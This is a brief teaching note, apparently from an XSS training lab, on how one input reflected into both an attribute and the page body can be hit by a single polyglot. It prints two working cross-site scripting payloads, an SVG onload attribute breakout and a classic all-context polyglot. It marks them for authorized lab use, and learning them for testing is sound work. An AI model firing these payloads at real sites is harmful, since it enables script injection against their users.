One input, two sinks (attribute + body). A polyglot fires in both: "><svg onload=alert(document.domain)>. Classic all-context polyglot: jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only